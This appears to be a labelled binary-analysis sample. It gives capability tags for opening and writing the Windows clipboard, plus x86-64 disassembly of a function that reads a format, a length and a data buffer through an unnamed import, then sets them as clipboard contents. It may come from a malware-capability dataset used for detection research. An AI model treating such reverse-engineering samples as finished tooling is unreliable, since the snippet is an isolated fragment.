Capabilities:
Open clipboard
Write clipboard data

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
xor r9d, r9d
lea rdx, [rsp + 0x40]
mov rbx, rcx
lea edi, [r9 + 4]
mov r8d, edi
call qword [0x14002ed10]
test eax, eax
jle 0x14000628b
xor r9d, r9d
lea rdx, [rsp + 0x38]
mov r8d, edi
mov rcx, rbx
call qword [0x14002ed10]
test eax, eax
jle 0x14000628b
mov eax, dword [rsp + 0x38]
lea eax, [rax*2 + 2]
movsxd rcx, eax
call fcn.140004268
mov r8d, dword [rsp + 0x38]
xor r9d, r9d
mov rdx, rax
mov rcx, rbx
mov rdi, rax
call qword [0x14002ed10]
test eax, eax
jle 0x14000628b
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
call qword [sym.imp.USER32.dll_EmptyClipboard]
mov ecx, dword [rsp + 0x40]
mov rdx, rdi
call qword [sym.imp.USER32.dll_SetClipboardData]
call qword [sym.imp.USER32.dll_CloseClipboard]
jmp 0x14000628d
xor eax, eax
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret